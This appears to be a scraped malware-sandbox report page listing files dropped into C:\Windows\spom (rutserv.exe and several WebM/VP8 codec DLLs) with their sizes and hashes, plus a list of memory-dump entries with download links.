SHA512 b4f2bbfd5e2e01bf0a1516857381171bf2ce928bc4fdd03eebae112963862616eeaf943230e99258dcdf15e12e0b38da5895a60341ece378ded8131305514cd9
SSDEEP 24576:eMB5KgYG7jQnqPc/zhVf4Z3X/OhSXWrez/wMzJ4d8kpZQpJqCT:xBx7BUNVUqZa7t4P22
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Windows\spom\rutserv.exe
Size 1.4MB
SHA256 76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2
MD5 a329f920e01574d2c58eb0626abef7bd
SHA1 2500ca31396264cf0a9492d879e493a9438404b9
SHA512 dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32
SSDEEP 24576:gjXv+58TvnqMX5XlKruFRBBDzc3cWoWMsfbnSluMdraUun4e5uFx+R:gj/OgnDp4uFRHDtsfbnSluMdraNuy
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Windows\spom\rutserv.exe
Size 1.4MB
SHA256 76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2
MD5 a329f920e01574d2c58eb0626abef7bd
SHA1 2500ca31396264cf0a9492d879e493a9438404b9
SHA512 dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32
SSDEEP 24576:gjXv+58TvnqMX5XlKruFRBBDzc3cWoWMsfbnSluMdraUun4e5uFx+R:gj/OgnDp4uFRHDtsfbnSluMdraNuy
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Windows\spom\rutserv.exe
Size 1.4MB
SHA256 76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2
MD5 a329f920e01574d2c58eb0626abef7bd
SHA1 2500ca31396264cf0a9492d879e493a9438404b9
SHA512 dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32
SSDEEP 24576:gjXv+58TvnqMX5XlKruFRBBDzc3cWoWMsfbnSluMdraUun4e5uFx+R:gj/OgnDp4uFRHDtsfbnSluMdraNuy
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Windows\spom\rutserv.exe
Size 1.4MB
SHA256 76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2
MD5 a329f920e01574d2c58eb0626abef7bd
SHA1 2500ca31396264cf0a9492d879e493a9438404b9
SHA512 dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32
SSDEEP 24576:gjXv+58TvnqMX5XlKruFRBBDzc3cWoWMsfbnSluMdraUun4e5uFx+R:gj/OgnDp4uFRHDtsfbnSluMdraNuy
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Windows\spom\rutserv.exe
Size 1.4MB
SHA256 76fc2b851ae7a62f8494809595c8b02d2de54d7509601e90be61dece0cf2a5c2
MD5 a329f920e01574d2c58eb0626abef7bd
SHA1 2500ca31396264cf0a9492d879e493a9438404b9
SHA512 dd8bdb39afbc094bf9300e8cd448cb9ca4eeca550c392a924726bedc71dea1a80b3bfa1eaa03d60d6fa233e0ecc52a29601d654c5017f8bd27f5e8d85afc1b32
SSDEEP 24576:gjXv+58TvnqMX5XlKruFRBBDzc3cWoWMsfbnSluMdraUun4e5uFx+R:gj/OgnDp4uFRHDtsfbnSluMdraNuy
MD5 SHA1 SHA512 SSDEEP

Submit Download

vp8decoder.dll

Path C:\Windows\spom\vp8decoder.dll
Size 127KB
SHA256 30dc5a63a43a00fb3bcacb696656dc302b9c090cf9c05df0f10123703ca07290
MD5 bda3c03c3e5d65922a311009e0ae8cd6
SHA1 37093c457ac5f01649b4d23a3d075a531af08baa
SHA512 eab8356896f05952e1bdfca467e998b23e5a9a5e5245f13d201f9b87b7a450be628c3513a8a4c40fa50ffaa8491c4508f1215c57ac608dd3e5e67290a5bedc0b
SSDEEP 3072:8TngxKMzx/CgunlYFSBZg3mQ5SvQgJJd4ZsahHIq:80bx/T6YFWZxvQGJuZs2
MD5 SHA1 SHA512 SSDEEP

Submit Download

vp8encoder.dll

Path C:\Windows\spom\vp8encoder.dll
Size 238KB
SHA256 c8529cff46283d4f7050c9f4ba42a6aad6ff580a22fc8f72bbedb17e63d4091e
MD5 200cba4b9cbdd64f1a281b89cd1467f3
SHA1 fc3ccf8d57efcdc0d22b61ff6e49798d551a9118
SHA512 15a213790da6ddedc25369216ae725dccd16473599a8d5fd8b90f80aaa4fd20496f80e85a4ee5eae6a330930207cefc644ab704f7a6514bbf781151a38be38e3
SSDEEP 6144:7VwSf2obRZgpHapklAOsfgdtpOpxCvIXgOLc2P:73f2obRZiHaBVUtUpQrOzP
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmmux.dll

Path C:\Windows\spom\webmmux.dll
Size 90KB
SHA256 41e551ecb07620b4cace94a89bbcff6597df85a571ace50a7df929c9a94f1d11
MD5 aa78ed008f72533c7136bf6d4bddb0d0
SHA1 2e9abd74e615adc99f561cbdbe6067dfd81a406a
SHA512 e9f49bc94909c46ae6dad9368e13cc758ff801c39ea8a459483bd17a8a40664b68c91d8602da588a84a39de9256e0accafb23a7667fb57640a55280ee61f4021
SSDEEP 1536:vpTgljYorW76tnobrWueh5to7zoII8u66y2waAA/qmNLeWNU7WPos:xkHwUoPWueho7z1gy2waj/qmNLpU7mD
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmvorbisdecoder.dll

Path C:\Windows\spom\webmvorbisdecoder.dll
Size 141KB
SHA256 cbc192c03b91280eb4561386290e3b346147d5b1362224d1deff781ff89be207
MD5 0867a260483876336a727cf9f2928b13
SHA1 3c8c59bfba6ed2aeef35c0d1fc4689683df1e660
SHA512 b1d2518adb513c42ed877f1ee77d227d6d3600fc27b4d747f31b75cbfb85c53802cbf9b1fe0e1d09353ea4c29b6a49d5e7b7967b3fd8d15974d822649ca7a83f
SSDEEP 3072:tJD+EFJ01ymc4zcKF+xcT1Zly7VaZE/dj7Krf56Id+5rraG4tBS:bDs1ymyxx6ZkVaZEdwMIw5rr4+
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmvorbisencoder.dll

Path C:\Windows\spom\webmvorbisencoder.dll
Size 202KB
SHA256 0e33c9f15b53de632108ef6f7275cd4d980df86a408f330c57f717b7d5fa3918
MD5 43adc4acd56c56b0a25664954c7aa80c
SHA1 d9085625b4a39b3969db8047ad3224b3fc9f60fc
SHA512 346dd9da1fe6be5219cb10cbe54c60a1661c5c06a21f3cf864a3f32121a90d29ea1bbcef33d2766811f3ef3242456c2c9606326c26d8b660fa26ff4ae8b24515
SSDEEP 6144:2wsUyCEe7VgUk3HZ9yqbhdydK79bIWm5P:2XCVgU2yZdkE5P
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/504-132-0x0000000000400000-0x0000000000AA5000-memory.dmp

Download

memory/504-135-0x0000000000AB0000-0x0000000000AB3000-memory.dmp

Download

memory/504-136-0x0000000000400000-0x0000000000AA5000-memory.dmp

Download

memory/1252-185-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/1252-172-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/3512-191-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/3512-184-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/3752-194-0x0000000000400000-0x00000000009AE000-memory.dmp

Download

memory/3752-190-0x0000000000400000-0x00000000009AE000-memory.dmp

Download

memory/3816-157-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/3816-158-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/3984-186-0x0000000000400000-0x00000000009AE000-memory.dmp

Download

memory/3984-192-0x0000000000400000-0x00000000009AE000-memory.dmp

Download

memory/4888-162-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/4888-161-0x0000000000400000-0x0000000000AA9000-memory.dmp

Download

memory/5068-187-0x0000000000400000-0x00000000009AE000-memory.dmp

Download

memory/5068-193-0x0000000000400000-0x00000000009AE000-memory.dmp

Download